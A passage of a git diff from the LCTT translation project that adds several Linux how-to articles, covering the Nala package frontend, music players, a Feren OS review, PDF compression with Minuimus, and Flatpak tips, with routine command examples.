download speed using a third-party tool called **Apt-fast**. The Apt-fast application is used to **[speed up downloading of packages in Ubuntu][10]** and its derivatives. + +Nala supports parallel downloads out of the box. So we don't need any external tools. By default, Nala will **download 3 packages per unique mirror** in your `sources.list` file. + +#### Fetch Fastest Mirrors + +The another useful addition in Nala features list is fetching the fastest APT mirror. The `nala fetch` command works very similar to **apt-select**, **apt-smart**, **netselect**, and **netselect-apt** CLI tools. + +Before I know about Nala, I used the aforementioned tools to **[find the best and fastest APT mirror][11]** in my Ubuntu systems. Fortunately, Nala has included this feature by default. + +First, Nala will check if your distribution is either Debian or Ubuntu. And then, it get all the mirrors from the respective master list. After getting the master list, it will test the latency and score each mirror. + +Depending on the latency and speed, Nala will list the fastest 16 mirrors. Type the index number of the mirrors (separated by space) that you want to keep and hit ENTER key + +![List Fastest APT Mirrors With Nala][12] + +Nala will display a confirmation message. If you're OK with the selected mirrors, press Y to confirm and ENTER. + +![Confirm Selected Mirrors][13] + +The selected sources will be written to `/etc/apt/sources.list.d/nala-sources.list` file. + +Update the sources list by running the following command: + +``` +$ sudo nala update +``` + +If you don't want the mirrors selected by Nala, simply delete it. + +``` +$ sudo rm /etc/apt/sources.list.d/nala-sources.list +``` + +#### Show Transaction History + +This is one of the flagship feature of Nala package manager. This feature is actually inspired by the **history** function from the **[DNF][14]** package manager. + +Using the `nala history` command, we can easily undo or redo previous APT transactions. + +Whenever, you install, remove or upgrade packages, the APT transaction is stored in `/var/lib/nala/history.json` file with a unique **ID** number. + +Let us view the current history using command: + +``` +$ nala history + ID Command Date and Time Altered Requested-By + 1 upgrade libfreetype6 2022-07-22 18:14:55 IST 1 ostechnix (1000) + 2 install vim 2022-07-22 18:20:11 IST 2 ostechnix (1000) +``` + +As you can see, we have done two APT transactions using Nala. Here, 1 and 2 are the transaction IDs. + +You can show information about a specific transaction using `nala history info [ID]` command. + +``` +$ nala history info 2 +``` + +**Sample output:** + +``` +================================================================================================================================================== + Installed +================================================================================================================================================== + Package: Version: Size: + vim 2:8.2.3995-1ubuntu2 1.7 MB + vim-runtime 2:8.2.3995-1ubuntu2 6.8 MB + +================================================================================================================================================== + Summary +================================================================================================================================================== + Installed 2 Packages +``` + +![View Apt Transaction Details][15] + +Now let me undo the installation Vim package. + +To do so, simply run: + +``` +$ sudo nala history undo 2 +``` + +Here, 2 is the index of the "install vim" command. + +![Nala History Undo Command][16] + +See? We just undo the Vim installation. In other words, we simply removed the Vim package. + +Let us run the history command again: + +``` +$ nala history + ID Command Date and Time Altered Requested-By + 1 upgrade libfreetype6 2022-07-22 18:14:55 IST 1 ostechnix (1000) + 2 install vim 2022-07-22 18:20:11 IST 2 ostechnix (1000) + 3 history undo 2 2022-07-23 17:12:34 IST 2 ostechnix (1000) +``` + +![Nala History Command][17] + +As you see in the above output, we have a new entry (i.e. `history undo 2` ) in the `nala history` output. + +Let us install the vim package again. To put it another way, let us **redo** the "install vim" command. + +To redo the "install vim" transaction, run: + +``` +$ sudo nala history redo 2 +``` + +![Nala History Redo Command][18] + +Now, the Vim package is installed again. + +If you don't want any transaction in the history, you can remove it using `nala history clear` command: + +``` +$ sudo nala history clear 3 +``` + +#### Remove Packages + +To remove or purge an installed package that are no longer needed with Nala, run: + +``` +$ sudo nala purge vim +``` + +Or, + +``` +$ sudo nala remove --purge vim +``` + +if you want to automatically remove any packages that are no longer needed, add `--autoremove` flag. + +``` +$ sudo nala purge vim --autoremove +``` + +### Conclusion + +Using Nala, we can have prettier output, faster downloads of packages, and a history! If you do only a basic package management operations, such as install, update, upgrade, list, search, and remove etc., you can use Nala. For other advanced package management operations, use Apt. + +The developer of Nala has also planned to rewrite Nala in **Rust** programming language. Let us hope it will be out soon and with more features. + +**Resource:** + +* [Nala GitLab Repository][19] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/nala-commandline-frontend-for-apt/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/apt-fast-speed-up-downloading-of-packages-in-ubuntu/ +[2]: https://ostechnix.com/how-to-find-best-ubuntu-apt-repository-mirror/ +[3]: https://github.com/pacstall/pacstall +[4]: https://gitlab.com/volian/nala/-/releases +[5]: https://ostechnix.com/wp-content/uploads/2022/07/Nala-Update-Command.png +[6]: https://ostechnix.com/wp-content/uploads/2022/07/Nala-Update-Vs-Apt-Update-Command.png +[7]: https://ostechnix.com/wp-content/uploads/2022/07/Nala-Upgrade-Command.png +[8]: https://ostechnix.com/wp-content/uploads/2022/07/Nala-Install-Command.png +[9]: https://ostechnix.com/wp-content/uploads/2022/07/Nala-Show-Command.png +[10]: https://ostechnix.com/how-to-speed-up-dnf-package-manager-in-fedora/ +[11]: https://ostechnix.com/how-to-find-best-ubuntu-apt-repository-mirror/ +[12]: https://ostechnix.com/wp-content/uploads/2022/07/List-Fastest-APT-Mirrors-With-Nala.png +[13]: https://ostechnix.com/wp-content/uploads/2022/07/Confirm-Selected-Mirrors.png +[14]: https://ostechnix.com/dnf-command-examples-beginners/ +[15]: https://ostechnix.com/wp-content/uploads/2022/07/View-Apt-Transaction-Details.png +[16]: https://ostechnix.com/wp-content/uploads/2022/07/Nala-History.png +[17]: https://ostechnix.com/wp-content/uploads/2022/07/Nala-History-Command.png +[18]: https://ostechnix.com/wp-content/uploads/2022/07/Nala-History-Redo-Command.png +[19]: https://gitlab.com/volian/nala diff --git a/sources/tech/20220723 Top 10 Best Music Players for Linux in 2022.md b/sources/tech/20220723 Top 10 Best Music Players for Linux in 2022.md new file mode 100644 index 0000000000..6027b80543 --- /dev/null +++ b/sources/tech/20220723 Top 10 Best Music Players for Linux in 2022.md @@ -0,0 +1,204 @@ +[#]: subject: "Top 10 Best Music Players for Linux in 2022" +[#]: via: "https://itsfoss.com/best-music-players-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Top 10 Best Music Players for Linux in 2022 +====== + +While many of us rely on music streaming services, several users prefer to use the good-old music player on their Linux system. + +Of course, you already get a music player program pre-installed with every Linux distribution. + +However, depending on your requirements, you might want to try a variety of music players, providing you with more features or a better user experience. + +You could save time organizing your collections, sorting the best playlist, and other things. + +So, to save you from trouble, I highlight the best music player applications for Ubuntu and other Linux distributions. + +### 1. Amberol + +![amberol music player interface][1] + +Looking for something to simply play music with no fancy features? + +Amberol is your best bet. It provides a super intuitive user experience and offers essential music controls to shuffle, have a playlist, navigate through the song, and more. + +We also have a dedicated article on [Amberol][2], if you want to explore more about it. + +[Amberol][3] + +### 2. Elisa + +![elisa music player][4] + +Elisa is a fantastic music player developed by KDE. Primarily, it is tailored for KDE-powered distributions, but it should work fine on other Linux distributions. I tried it with Ubuntu 22.04 LTS GNOME. + +Elisa could be the perfect candidate for you if you wanted a fast, good-looking, and feature-rich music player. It gives you some control over the layout, allowing you to choose to access all the options available or switch to an immersive mode to focus on playing music. + +It is available for Linux, BSD derivatives, and Windows. For Linux, you can find it available in the official repositories of major distributions and install it via the terminal. + +Furthermore, you can find it listed in the software center of respective distributions. + +[Elisa][5] + +### 3. Rythmbox + +![rythmbox][6] + +Rythmbox is a popular music player considering it comes pre-installed with many Linux distributions, including Ubuntu. + +It is a simple feature-rich player where you can access internet radio, manage a music library, and stream music services like Last.fm and Magnatune. + +Moreover, you can expand its capabilities with plugins. + +The best way to get it installed is to use the Flatpak package from Flathub, and you can also find it in the software center. + +[Rythmbox][7] + +### 4. Sayonara Player + +![sayonara player 2022][8] + +Sayonara Player is an underrated option if you are looking for a customizable and lightweight music player focused on performance. + +Even though the user interface is simple, it supports multiple libraries, album view, directory view, genre organization, dynamic playback, equalizer, lyrics, internet streams, podcasts, and more. + +You can install it using the official PPA, AppImage file, Snap package, or explore other options on its download page. + +[Sayonara Player][9] + +### 5. Strawberry Music Player + +![strawberry music player][10] + +Strawberry Music Player is a fork of Clementine (which was a popular music player but hasn’t seen any new releases since 2016). + +It supports various music file formats and easily lets you organize/manage playlists. You can also edit tags on audio files and get album cover art support. + +Additionally, it offers an audio analyzer and equalizer. + +It is available for Linux, Windows, and macOS. For Linux, you can use its official PPA or grab the deb package from its [GitHub releases section][11]. + +[Strawberry Music Player][12] + +### 6. DeaDBeef Player + +![deadbeef 2022][13] + +DeaDBeef Player is one of the oldest options that is still actively maintained for multiple platforms, including Linux, Windows, and macOS. + +You can edit music tags, read all the details, play all kinds of files, and install additional plugins to enhance your experience. It also lets you split albums into tracks and helps you manage multiple playlists. + +Interestingly, you can also use it to transcode files to other formats. + +For Ubuntu, you can download the deb package from its official website and get it installed. If you have Arch Linux or any other distro, explore the available packages on its website. + +[DeaDBeef Player][14] + +### 7. cmus (Terminal Music Player) + +![cmus 2022][15] + +Fret not, if you would rather not leave the terminal for anything else, cmus is an option. + +It gets you all the essential features right from the command line. You will have to browse for the correct directory and set it up to start using the music player. + +It may not be easy for new users. So, you will have to explore its built-in tutorial and refer to our dedicated article on [cmus music player][16] to know how to add a playlist, manage tracks, and more. It is available in the official repositories, so you can find it in the software center or install it through the terminal on Ubuntu. + +[cmus][17] + +### 8. VLC Media Player + +![vlc linux][18] + +VLC Media Player is one of the most popular options for any platform, including Linux. + +You know what it does if you are already a fan of it. It supports many file formats and has excellent features like transcoding. Unlike other options, it is not just a music player but also supports videos, DVDs, and some streaming protocols. It is primarily a video player but it can also handle music files pretty well. + +VLC provides packages for almost every popular Linux distribution, including Debian, Ubuntu, openSUSE, Arch, and Fedora. You can find the packages on its [official download page][19]. + +Alternatively, you can easily [install VLC media player][20] from the terminal. + +[VLC][21] + +### 9. Museeks + +![museeks][22] + +Museeks is a cross-platform music player with a clean user interface. It supports the major file formats and helps you manage playlists, queues, loops, album covers, and more. + +It does support a dark mode theme along with playback speed controls. + +Additionally, it supports .m3u import/export. You can find packages for Linux (deb/rpm/AppImage) in its [GitHub releases section][23]. + +[Museeks][24] + +### 10. Audacious + +![audacious player][25] + +Audacious is another music player that has existed for over a decade and is available for Linux and Windows. + +It utilizes Qt to offer a responsive user interface without affecting much of your system resources. Interestingly, you get to equip some Winamp Classic skins as well. In any case, the user experience is rather straightforward. + +Audacious supports a few plugins for lyrics, VU meter, and more. You can install it directly through the official repositories via the terminal or search for it in the software center. + +[Audacious][26] + +### Wrapping Up + +Music players are here to stay, even if we switch to streaming applications. + +Unfortunately, some native Linux applications like [Mellow Player][27], [Nuvola][28], and [Nuclear][29], that allowed access to streaming services are no longer actively maintained. So, if you are thinking of accessing Spotify/SoundCloud on Linux, you should look for any of their official/unofficial clients available. + +Music players are perfect for users who want to play around with their local collection, organize playlists, and customize their native desktop experience while protecting their privacy! + +Did we miss any of your favorite music players? Let us know in the comments! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-music-players-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/06/amberol-music-player-interface-800x693.png +[2]: https://itsfoss.com/amberol-music-player/ +[3]: https://gitlab.gnome.org/World/amberol +[4]: https://itsfoss.com/wp-content/uploads/2022/07/elisa-music-player.png +[5]: https://elisa.kde.org/en-gb/ +[6]: https://itsfoss.com/wp-content/uploads/2022/07/rythmbox-2022-800x626.png +[7]: https://wiki.gnome.org/Apps/Rhythmbox +[8]: https://itsfoss.com/wp-content/uploads/2022/07/sayonara-player-2022.png +[9]: https://sayonara-player.com/ +[10]: https://itsfoss.com/wp-content/uploads/2022/07/strawberry-music-player.png +[11]: https://github.com/strawberrymusicplayer/strawberry/releases +[12]: https://www.strawberrymusicplayer.org/ +[13]: https://itsfoss.com/wp-content/uploads/2022/07/deadbeef-2022.png +[14]: https://deadbeef.sourceforge.io/ +[15]: https://itsfoss.com/wp-content/uploads/2022/07/cmus-2022.png +[16]: https://itsfoss.com/cmus-linux-terminal-music-player/ +[17]: https://cmus.github.io/ +[18]: https://itsfoss.com/wp-content/uploads/2022/07/vlc-linux.png +[19]: https://www.videolan.org/vlc/#download +[20]: https://itsfoss.com/install-latest-vlc/ +[21]: https://www.videolan.org/ +[22]: https://itsfoss.com/wp-content/uploads/2022/07/museeks.png +[23]: https://github.com/martpie/museeks/releases +[24]: https://museeks.io +[25]: https://itsfoss.com/wp-content/uploads/2022/07/audacious-player.png +[26]: https://audacious-media-player.org/ +[27]: https://colinduquesnoy.gitlab.io/MellowPlayer/ +[28]: https://nuvola.tiliado.eu/ +[29]: https://github.com/nukeop/nuclear diff --git a/sources/tech/20220725 Feren OS Review- Clever KDE Distro for Easy Migration from Windows.md b/sources/tech/20220725 Feren OS Review- Clever KDE Distro for Easy Migration from Windows.md new file mode 100644 index 0000000000..9407901e3e --- /dev/null +++ b/sources/tech/20220725 Feren OS Review- Clever KDE Distro for Easy Migration from Windows.md @@ -0,0 +1,141 @@ +[#]: subject: "Feren OS Review: Clever KDE Distro for Easy Migration from Windows" +[#]: via: "https://www.debugpoint.com/feren-os-review/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Feren OS Review: Clever KDE Distro for Easy Migration from Windows +====== +A review of Feren OS – a KDE Plasma and Ubuntu fusion, specially designed for Windows users to help them migrate. + +Over the years, many readers commented about Feren OS and its advantages on this website. I never got a chance to try this distribution in terms of its benefits and why it stands out among hundreds of distros. + +So, here’s a review of the great Feren OS. + +### Feren OS Review + +First and foremost, its creators designed and marketed it as an ideal replacement for Windows and macOS. At its core, it’s based on Ubuntu LTS with a base KDE Plasma desktop and additional tweaks. However, it does bring several goodies specially designed for Windows users. A lot on that a little later. Let’s download and install it. + +#### Download and Install + +The Feren OS (20.04) ISO file is about 2.5 GB, and it has only one variant for KDE Plasma – which is the only offering. However, the download took around 6 hours from SourceForge. + +A few interesting things happened when I booted this up in a VM ([virt-manager][1]). During my years of [distro review][2], I haven’t seen any distro do this. + +First, the LIVE medium understood that I was using the virtual machine and changed the compositor by itself to Xrender for better performance in VM. Second, it also gave the option to install guest additions for VirtualBox and VM Tools for VM Ware for additional functionalities. + +![Virtual Machine detected by Feren OS installer][3] + +Moreover, Feren OS gave options to transfer files from the Windows partition before installing the system! And an option to choose the desktop layout if you are installing it on a touch-based device. + +![You can take backups of Windows data before install][4] + +The installer is Calamares and not Ubuntu’s Ubiquity, although it depends on Ubuntu LTS. While installing the system, Feren OS doesn’t do the account creation, keyboard and other selections. It prompts you for user account creation and additional info after the first reboot and post-installation. Fedora Linux workstation edition does this via the Anaconda installer. + +Apparently, it is probably nothing. But from a Windows user’s perspective, an “easy install” experience is important, and I believe the team made an excellent decision on this. + +Finally, the installation went smooth, and no such surprises there. + +#### First boot and looks + +During the first boot, you need to set up the user accounts and other initial settings. The wizard gives you options to choose the light/dark theme, desktop layouts and different initial configs. This is a nice touch and looks professional. + +The KDE Plasma desktop is nice and clean with the pre-configured taskbar and the Breeze theme. The taskbar has the application menu on the left side. In the middle of the taskbar, you find the shortcut to Vivaldi, File manager and homegrown Store. And at the right is a traditional system tray. + +![Feren OS Desktop][5] + +Feren OS pre-loads a good set of Plasma Global Themes other than the usual Breeze variants. All of them are perfect and give your desktop a nice touch with just one click. As of the current version, you get Feren OS, Hooman, Dooars and Mac n’ Cheese theme. In addition, you also can get the Tablet and Classic settings of the desktop. It also features the Inspire icon theme and DMZ cursor theme by default. + +#### Workspaces and Full-screen Application View + +One of the unique features I want to highlight is the default workspace configuration that Feren OS brings. By default, there are four desktops to work with. At the taskbar, there is an icon which brings up the new workspaces in the KDE Plasma desktop. + +![Feren OS – Default four desktops][6] + +If you apply the pre-defined macOS theme, the application view is quite spectacular (which is a KDE widget, btw). It even searches the apps and individual settings when you start typing. See the image below. + +![Fullscreen app menu with dynamic search][7] + +Also, the global menu gives you the extra edge and precious screen space for your workflow. + +#### Native and Installed Applications + +Let’s talk about some exciting app choices that Feren OS installs by default. + +Although it’s based on KDE Plasma, some apps are chosen carefully based on their features and performances. For example, the file manager is Nemo instead of Dolphin, which is a good choice since Nemo is an awesome file manager. + +In addition, Feren OS packages Geary [email desktop client][8], GDebi package manager, Timeshift backup utility, and VLC Media player – some of the essential non-KDE Apps. + +The native apps are quite interesting. + +A native app called “Store” manages application search, installation and uninstall. It’s a homegrown tool which looks similar to GNOME’s Software. It supports usual categories and one-click installation. However, it seems it doesn’t support managing software sources. I belives that’s the reason Synaptic package manager is installed by default. + +![Natively designed Store manager][9] + +Other than that, there is an app, “Web Browser Manager”, which lets you install additional browsers with just one click. It’s interesting to see a dedicated app to manage just the web browsers. + +#### A note about the Transfer Tool + +Since its target audiences are Windows users, it brings a dedicated tool to transfer data from your Windows partitions and helps you to take backups to a custom target drive or device. The tool can easily detect generic Windows folders such as Documents, Users, Pictures, Videos etc. + +![Feren OS Transfer Tool][10] + +It’s a handy tool if you want a quick backup of your Windows partition. More importantly, you can use this in a LIVE medium without installing Feren OS. + +#### Performance + +You might have guessed about FerenOS’s performance as it’s based on Ubuntu LTS and KDE Plasma desktop. The performance, in simple words, is the same as that of Kubuntu. + +In an idle state (i.e. desktop is boot and kept inactive), it consumes around 1.8 GB of memory, and the CPU is at 4% to 8%. The latte dock consumes most system resources and plasma desktop, followed by the KWin. This is when the macOS theme is enabled. + +![Feren OS – Performance at Idle State][11] + +Next, I make it run through heavy workload situations with one instance each for File manager, media player, Vivaldi browser, image editor, LibreOffice and Console application. At this heavy performance stage, Feren OS consumes around 2.1 GB of system memory, and the CPU is hovering at 8 to 10 %. + +![Feren OS – Performance at Heavy workload State][12] + +I think it’s an impressive performance metric in the heavy workflow state. I was expecting a little higher memory and CPU consumption. + +The only reason I believe the performance is better in a heavy workflow state is not to use Firefox or Chrome. Vivaldi is performing better in the memory utilization space than that Firefox or Chrome. + +### Wrapping Up + +Feren OS is one of those Linux distros which packs a default look with Stability together. It’s one of the “not-so-popular” & mainstream distros with many prospects. Its unique way of implementing several critical items, from installation to the first experience for a new or migrated Windows user, is a great touch. + +Besides, its in-house apps and utilities are one of the best implementations for a distro targeted at Windows users. And the Ubuntu LTS base gives them an edge over the players. + +The only drawback I can see is the major release is a little delayed. For example, the Ubuntu 22.04 LTS version is not yet out. Perhaps the delay is because of a small dev team. + +But, besides that, it’s a perfect and ready-to-use daily driver. You may give it a try. + +You can download Feren OS from the [official website][13]. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/feren-os-review/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/virt-manager/ +[2]: https://www.debugpoint.com/tag/linux-distro-review +[3]: https://www.debugpoint.com/wp-content/uploads/2022/07/Virtual-Machine-detected-by-Feren-OS-installer.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/07/You-can-take-backups-of-Windows-data-before-install.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/07/Feren-OS-Desktop.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/07/Feren-OS-Default-four-desktops.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/07/Fullscreen-app-menu-with-dynamic-search.jpg +[8]: https://www.debugpoint.com/best-email-client-linux-windows/ +[9]: https://www.debugpoint.com/wp-content/uploads/2022/07/Natively-designed-Store-manager.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/07/Feren-OS-Transfer-Tool.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/07/Feren-OS-Performance-at-Idle-State.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/07/Feren-OS-Performance-at-Heavy-workload-State.jpg +[13]: https://ferenos.weebly.com/get-feren-os.html diff --git a/sources/tech/20220726 Shrink PDFs with this Linux tool.md b/sources/tech/20220726 Shrink PDFs with this Linux tool.md new file mode 100644 index 0000000000..76785afd37 --- /dev/null +++ b/sources/tech/20220726 Shrink PDFs with this Linux tool.md @@ -0,0 +1,95 @@ +[#]: subject: "Shrink PDFs with this Linux tool" +[#]: via: "https://opensource.com/article/22/7/shrink-pdfs-minuimus-linux" +[#]: author: "Howard Fosdick https://opensource.com/users/howtech" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Shrink PDFs with this Linux tool +====== +Minuimus is an open source program used to reduce PDF storage space by 10% to 20% without altering the data. + +![Filing cabinet for organization][1] + +Excluding HTML, PDF files are probably the most popular document format on the web. Unfortunately, they're not compact. For example, I like to download free eBooks. A quick glance at my eBook directory shows that its 75 PDF files consume about 500 megabytes. On average, that's over 6.6 MB for each PDF file. + +Couldn't I save some storage space by compressing those files? What if I want to send a bundle of them through email? Or host them for download on a website? The transmission would be faster if these files were made smaller. This article shows a simple way to reduce PDF file size. The benefit is that it shrinks your PDFs transparently without altering the data content in any way. Plus, you can also compact many PDF files with a single command. + +Compare this to the alternatives. You could upload your PDF files to one of the many online file compression websites. Several are free, but you risk the privacy of your documents by uploading them to an unknown website. More importantly, most websites shrink PDFs by tampering with the images they contain. They either change their resolution or their sizes. So you trade lower image quality to get smaller PDF files. That's the same trade-off you face using interactive apps like LibreOffice, or Ghostscript line commands like`gs` and `ps2pdf`. The technique we'll illustrate in this article compacts PDFs without altering either the images they contain or their data content. And you can reduce many PDFs with a single line command. Let's get started. + +### Identify and delete big unused PDFs on Linux + +Before you spend time and effort compacting PDF files, identify your largest ones and delete those you don't need. This command lists the 50 biggest PDFs in its directory tree, ordered by descending size: + +``` +$ find  -type f  -exec  du -Sh {} +  |  grep .pdf | sort -rh  |  head -n 50 +``` + +From the output, you can easily identify and eliminate duplicates. You can also delete obsolete files. Getting rid of these space hogs yields big benefits. Now you know which PDFs are the high payback candidates for the reduction technique we'll now cover. + +### Transparently compact PDFs + +We'll use the open source [Minuimus][2] program to compact PDFs. Minuimus is a generalized command-line utility that performs all sorts of useful file conversions and compressions. To shrink PDFs, Minuimus unloads and then rebuilds them, gaining numerous efficiencies along the way. It does this transparently, without altering your data in any way. + +To use Minuimus, download its [zip file.][3] Then install it as its documentation explains, with these commands: + +``` +$ make deps      # Installs all required supporting packages +$ make all       # Compiles helper binaries +$ make install   # Copies all needed files to /usr/bin +``` + +Minuimus is a Perl script, so you run it like this: + +``` +$ minuimus.pl  input_file.pdf    # replaces the input file with compressed output +``` + +When it runs, Minuimus immediately makes a backup of your original input file. It only replaces the input file with its compacted version after it fully verifies data accuracy by comparing before and after bitmaps representing the data. + +A big benefit to Minuimus is that it validates any PDF file it works on. I've found that it gives intelligent, helpful error messages if it encounters any problems. For example, on one of my computers, Minuimus said that it couldn't properly invoke a utility it uses called `leanify`. Yet it still shrunk the PDFs and ran to successful completion. + +Here's how to compact many files in one command. This compresses all the PDF files in a directory: + +``` +$ minuimus.pl *.pdf +``` + +If you have lots of PDFs to convert, Minuimus might process for a while. So if you're converting hundreds of PDFs, for example, you might want to run Minuimus as a background job. Schedule it for off-hours through your GUI scheduler or as a Cron job. + +Be sure to redirect its output from the terminal to files so that you can easily review it later: + +``` +$ minuimus.pl *.pdf  1>output_messages.txt  2>error_messages.txt +``` + +### How much space will you reclaim? + +Unfortunately, there's no way to predict how much space Minuimus can save. That's because PDFs contain anything from text to images of all different kinds. They vary enormously. I ran Minuimus on my download directory of PDF books. The directory contained 75 PDFs consuming about 500 MB. Minuimus reduced it by about 11%, to about 445 MB. That's impressive for an algorithm that doesn't change the data. + +Across a large group of PDFs, size reduction of 10% to 20% appears common. The biggest files often shrink the most. Processing a collection of big PDFs often reclaims much more space than processing many small PDFs. Some PDF files show really dramatic space savings. That's because some applications create absolutely hideous PDFs. I call those files "PDF monsters." You can slay them with a single Minuimus command. + +For example, while writing this article, Minuimus knocked an 85 megabyte PDF down to 32 meg. That's just 38% of its original size. The program slimmed several other monsters by 50%, recovering tens of megabytes. This is why I began this article by introducing a command to list your biggest PDF files. If Minuimus identifies a few monsters you can slay, you can reclaim major disk space for free. + +### Shrink PDFs with Minuimus + +PDF files are useful and ubiquitous. But they often consume a good deal of storage space. Minuimus makes it easy to reduce PDF storage space by 10% to 20% without altering the data. Perhaps its biggest benefit is identifying and transforming malformed "PDF monsters" into smaller, more manageable files. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/shrink-pdfs-minuimus-linux + +作者:[Howard Fosdick][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/howtech +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/files_documents_organize_letter.png +[2]: http://birds-are-nice.me/software/minuimus.html +[3]: http://birds-are-nice.me/software/minuimus.zip diff --git a/sources/tech/20220727 6 Tips and Tools to Enhance Your Flatpak Experience in Linux.md b/sources/tech/20220727 6 Tips and Tools to Enhance Your Flatpak Experience in Linux.md new file mode 100644 index 0000000000..1363de2605 --- /dev/null +++ b/sources/tech/20220727 6 Tips and Tools to Enhance Your Flatpak Experience in Linux.md @@ -0,0 +1,192 @@ +[#]: subject: "6 Tips and Tools to Enhance Your Flatpak Experience in Linux" +[#]: via: "https://itsfoss.com/flatpak-tips-tweaks/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +6 Tips and Tools to Enhance Your Flatpak Experience in Linux +====== + +Slowly and steadily, [Flatpak][1] has a growing acceptance in the desktop Linux world. + +It is well integrated into Fedora and many other distributions like Linux Mint, elementary, Solus, etc. prefer it over Ubuntu’s Snap. + +If you love using Flatpak applications, let me share a few tips, tools, and tweaks to make your Flatpak experience better and smoother. + +### 1. Use Flathub to explore new Flatpak applications + +This one goes without saying. + +If you are looking for new applications in Flatpak packaging, browse the [Flathub website][2]. + +This is the official website from the Flatpak project and it lists and distributes a huge number of Flatpak applications. + +You can look for recommended apps in the “Editor’s choice” section, recently updated apps, new apps and popular apps. + +![Flathub website homepage][3] + +You can have the application screenshots, description, developer information, and installation instructions on the individual application webpages. + +**Bonus tip**: Make sure to add the Flathub repo in your system. Otherwise, you’ll see [“no remote refs found similar to flathub][4]” error while installing applications from Flathub. + +``` +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +### 2. Use Flatline extension to install Flatpak from the browser + +The Flathub website provides command line instructions to install the application. + +There is also an Install button but it doesn’t install the application for you. It downloads a .flatpakref file and then you’ll have to use the command line to install from the flatpakref file. + +![The install button doesn’t provide a quick installation by default][5] + +If you have to use the command line ultimately, it doesn’t make sense to download the fltapakref file. + +You can make things better by using [Flatline][6]. It’s a Mozilla Firefox extension and it makes that Install button useful by converting it into appstream link. One more reason to use Firefox? + +![Flatline browser extension][7] + +This way, when you click on the Install button for any application on the Flathub website, it will ask you to open the link in an XDG application like the Software Center. + +![You can choose to install Flatpak package in software center][8] + +This also means that you should have the Fltapak support integrated into the software center. + +### 3. Integrate Flatpak with the software center (for GNOME) + +Apart from Fedora, a handful of distributions provide Flatpak support by default. You can find and install Flatpak apps from the graphical software manager. + +Not all distros have that. If you are running some other distribution with GNOME desktop environment, you can enable Flatpak support in the software center. + +``` +sudo apt install gnome-software-plugin-flatpak +``` + +Note that Ubuntu has switched to Snap for the software center. The above command will also install a deb version of GNOME Software Center. You’ll have two software center applications in the system. + +If you enable the Flatpak support in the software, you can couple it with Flatline and install Fltapak apps from the web browser directly. + +Recently, there was an independent, standalone Flatpak app store called [Souk][9]. However, it is no longer actively developed. + +![Souk GUI software manager for Flatpak][10] + +There is also [Bauh][11] that can manage Flatpak, Snap and AppImages from a single interface. + +### 4. Manage Flatpak permissions graphically With Flatseal + +[Flatseal][12] is a graphical utility to review and modify your Flatpak applications’ permissions. This makes things a lot easier than going through the commands. + +![Control permissions of individual Flatpak apps][13] + +It lists all the installed Flatpak applications and shows what kind of permissions the selected application has. + +You may enable or disable the permissions. Please bear in mind that disabling some permissions might impact the normal functioning of the application. You should know what you are doing. + +You can install Flatseal using Flatpak, of course. + +``` +flatpak install flathub com.github.tchx84.Flatseal +``` + +### 5. Apply GTK system themes to Flatpak applications + +You might have already noticed that most Flatpak apps don’t change their appearance as per the current system theme. + +Why? Because Flatpak apps run inside a ‘container’ and don’t have access to the host filesystem, network, or physical devices. + +You can choose to install themes as Flatpak to solve this issue. However, your favorite theme might not be available in Flatpak format. + +Alternatively, you can make some manual effort and force the Flatpak applications to use a given theme. Here’s how to do that. + +**Step 1**: Give Flatpak access to the folder where theme files are kept: + +``` +sudo flatpak override --filesystem=$HOME/.themes +``` + +**Step 2**: List all the themes available in ~/.themes location and then provide the folder name of the selected theme to Flatpak: + +``` +sudo flatpak override --env=GTK_THEME=chosen-theme +``` + +![flatpak adwaita][14] + +![flatpak canta dark][15] + +If you change the system theme later, you can change the theme for Flatpak in the same manner. + +You 